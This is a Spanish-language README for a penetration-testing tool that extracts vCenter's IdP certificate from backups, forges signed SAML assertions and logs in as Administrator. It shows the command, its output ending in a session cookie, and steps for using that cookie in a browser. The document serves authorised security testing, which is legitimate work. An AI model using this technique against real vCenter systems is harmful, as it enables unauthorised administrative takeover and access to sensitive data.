horizon3ai/vcenter_saml_loginUna herramienta para extraer el certificado IdP de las copias de seguridad de vCenter e iniciar sesión como Administrador
Una herramienta para extraer el certificado del proveedor de identidad (IdP) de las copias de seguridad de vCenter e iniciar sesión como Administrador
Comúnmente, durante los compromisos, obtenemos acceso a las copias de seguridad de vCenter en un servidor de archivos o conseguimos acceso root al host VCSA a través de CVE recientes. Iniciar sesión en la interfaz de usuario de vSphere de vCenter nos permite acceder fácilmente a más sistemas, información confidencial, así como mostrar a los clientes el impacto de estos hallazgos.
El archivo data.mdb contiene los certificados y se puede encontrar dentro de las copias de seguridad de vCenter, así como en el host VCSA con permisos de root. Estos certificados se almacenan en texto claro y se pueden usar para firmar cualquier solicitud de autenticación SAML para cualquier usuario, incluido el Administrador integrado.
Si desea obtener más información sobre varios casos de uso de esta herramienta y cómo la hemos utilizado para obtener acceso administrativo a los hosts de vCenter, consulte nuestra publicación en el blog: https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
root@kali:~/vcenter# python3 vcenter_saml_login.py -p data.mdb -t 10.0.100.200
[*] Successfully extracted the IdP certificate
[*] Successfully extracted trusted certificate 1
[*] Successfully extracted trusted certificate 2
[*] Obtaining hostname from vCenter SSL certificate
[*] Found hostname vcsa.olympus for 10.0.100.200
[*] Initiating SAML request with 10.0.100.200
[*] Generating SAML assertion
[*] Signing the SAML assertion
[*] Attempting to log into vCenter with the signed SAML request
[+] Successfuly obtained Administrator cookie for 10.0.100.200!
[+] Cookie: VSPHERE-UI-JSESSIONID=06D1630719B4DE33A4CE653458911640
Con la cookie anterior, visite la instancia de VCSA en https://<VCSA>/ui, agregue la cookie en la ruta /ui y vuelva a navegar a https://<VCSA>/ui.
Este software ha sido creado puramente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinado a ser utilizado para atacar sistemas excepto cuando se autorice explícitamente. Los mantenedores del proyecto no son responsables del mal uso del software. Úselo de manera responsable.